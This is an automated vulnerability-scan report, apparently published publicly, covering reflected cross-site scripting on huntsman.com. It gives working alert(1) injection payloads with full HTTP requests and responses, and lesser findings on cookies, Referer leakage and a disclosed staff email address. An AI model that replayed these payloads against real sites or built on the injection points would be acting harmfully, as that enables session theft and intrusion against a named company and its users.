XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, huntsman.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.huntsman.com/ [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 163ec'-alert(1)-'99325d547b1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?163ec'-alert(1)-'99325d547b1=1 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:38 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: CFID=27122366;expires=Thu, 09-May-2041 13:49:38 GMT;path=/
Set-Cookie: CFTOKEN=71276179;expires=Thu, 09-May-2041 13:49:38 GMT;path=/
Set-Cookie: LANGUAGE_CODE_85=ENG;expires=Thu, 09-May-2041 13:49:38 GMT;path=/
Set-Cookie: STYLE=;path=/
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<script language="JavaScript" type="text/javascript">
function printPage(){
   if(window.print)
       window.open('http://www.huntsman.com/popup.cfm?163ec'-alert(1)-'99325d547b1=1&PageID=7675&PrintPage=1&Showtitle=1','POPUP','toolbar=no,resizable=yes,width=660,height=450,scrollbars=yes');
   else
       alert('Sorry, your browser does not support the print feature.\nPlease click t
...[SNIP]...

1.2. http://www.huntsman.com/eng/News/News/index.cfm [PageID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/News/index.cfm

Issue detail

The value of the PageID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3d355'-alert(1)-'6f16e48fe2d was submitted in the PageID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /eng/News/News/index.cfm?PageID=73793d355'-alert(1)-'6f16e48fe2d HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:53:03 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<script language="JavaScript" type="text/javascript">
function printPage(){
   if(window.print)
       window.open('http://www.huntsman.com/popup.cfm?PageID=73793d355'-alert(1)-'6f16e48fe2d&PrintPage=1&Showtitle=1','POPUP','toolbar=no,resizable=yes,width=660,height=450,scrollbars=yes');
   else
       alert('Sorry, your browser does not support the print feature.\nPlease click the page with y
...[SNIP]...

1.3. http://www.huntsman.com/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm [PageID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue detail

The value of the PageID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d297'-alert(1)-'12bdd2e2063 was submitted in the PageID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=74246d297'-alert(1)-'12bdd2e2063 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:50:30 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<script language="JavaScript" type="text/javascript">
function printPage(){
   if(window.print)
       window.open('http://www.huntsman.com/popup.cfm?PageID=74246d297'-alert(1)-'12bdd2e2063&PrintPage=1&Showtitle=1','POPUP','toolbar=no,resizable=yes,width=660,height=450,scrollbars=yes');
   else
       alert('Sorry, your browser does not support the print feature.\nPlease click the page with y
...[SNIP]...

1.4. http://www.huntsman.com/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eccfc'-alert(1)-'f7852636352 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=7424&eccfc'-alert(1)-'f7852636352=1 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:52:29 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<script language="JavaScript" type="text/javascript">
function printPage(){
   if(window.print)
       window.open('http://www.huntsman.com/popup.cfm?PageID=7424&eccfc'-alert(1)-'f7852636352=1&PrintPage=1&Showtitle=1','POPUP','toolbar=no,resizable=yes,width=660,height=450,scrollbars=yes');
   else
       alert('Sorry, your browser does not support the print feature.\nPlease click the page with
...[SNIP]...

1.5. http://www.huntsman.com/eng/News/News/index.cfm [STYLE cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/News/index.cfm

Issue detail

The value of the STYLE cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6d10"><script>alert(1)</script>79aa996cc52 was submitted in the STYLE cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /eng/News/News/index.cfm?PageID=7379 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=e6d10"><script>alert(1)</script>79aa996cc52; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 14:03:11 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<link rel="STYLESHEET" type="text/css" href="http://www.huntsman.com/corporate/CSS/e6d10"><script>alert(1)</script>79aa996cc52Styles_NN.css" media="all" />
...[SNIP]...

1.6. http://www.huntsman.com/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm [STYLE cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue detail

The value of the STYLE cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7095"><script>alert(1)</script>ada67b40d87 was submitted in the STYLE cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=7424 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=f7095"><script>alert(1)</script>ada67b40d87; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:51:36 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<link rel="STYLESHEET" type="text/css" href="http://www.huntsman.com/corporate/CSS/f7095"><script>alert(1)</script>ada67b40d87Styles_NN.css" media="all" />
...[SNIP]...

2. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.huntsman.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=27122344;expires=Thu, 09-May-2041 13:49:09 GMT;path=/
CFTOKEN=24111839;expires=Thu, 09-May-2041 13:49:09 GMT;path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:09 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: CFID=27122344;expires=Thu, 09-May-2041 13:49:09 GMT;path=/
Set-Cookie: CFTOKEN=24111839;expires=Thu, 09-May-2041 13:49:09 GMT;path=/
Set-Cookie: LANGUAGE_CODE_85=ENG;expires=Thu, 09-May-2041 13:49:09 GMT;path=/
Set-Cookie: STYLE=;path=/
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...

3. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/eng/News/News/index.cfm
/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

3.1. http://www.huntsman.com/eng/News/News/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/News/index.cfm

Issue detail

The page was loaded from a URL containing a query string:

http://www.huntsman.com/eng/News/News/index.cfm?PageID=7379

The response contains the following links to other domains:

http://www.google-analytics.com/urchin.js
https://www.huntsmanservice.com/

Request

GET /eng/News/News/index.cfm?PageID=7379 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:53 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
</span>
<a href="https://www.huntsmanservice.com" target="_blank" >Service</a>
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

3.2. http://www.huntsman.com/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue detail

The page was loaded from a URL containing a query string:

http://www.huntsman.com/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=7424

The response contains the following links to other domains:

http://www.google-analytics.com/urchin.js
https://www.huntsmanservice.com/

Request

GET /eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=7424 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:48 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
</span>
<a href="https://www.huntsmanservice.com" target="_blank" >Service</a>
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

4. Cross-domain script include previous next
There are 3 instances of this issue:

/
/eng/News/News/index.cfm
/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. http://www.huntsman.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

Response

4.2. http://www.huntsman.com/eng/News/News/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/News/index.cfm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /eng/News/News/index.cfm?PageID=7379 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:53 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

4.3. http://www.huntsman.com/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=7424 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:48 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

5. Email addresses disclosed previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.huntsman.com
Path:	/eng/News/Points_of_contact/Contact_Huntsman_/index.cfm

Issue detail

The following email address was disclosed in the response:

gary_chapman@huntsman.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /eng/News/Points_of_contact/Contact_Huntsman_/index.cfm?PageID=7424 HTTP/1.1
Host: www.huntsman.com
Proxy-Connection: keep-alive
Referer: http://www.huntsman.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=27122343; CFTOKEN=36535797; LANGUAGE_CODE_85=ENG; STYLE=; __utma=70795145.767609925.1305640193.1305640193.1305640193.1; __utmb=70795145; __utmc=70795145; __utmz=70795145.1305640193.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 17 May 2011 13:49:48 GMT
Server: Microsoft-IIS/6.0
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/j
...[SNIP]...
<input type="hidden" name="mailto" value="gary_chapman@huntsman.com">
...[SNIP]...

Report generated by XSS.CX at Tue May 17 09:14:21 CDT 2011.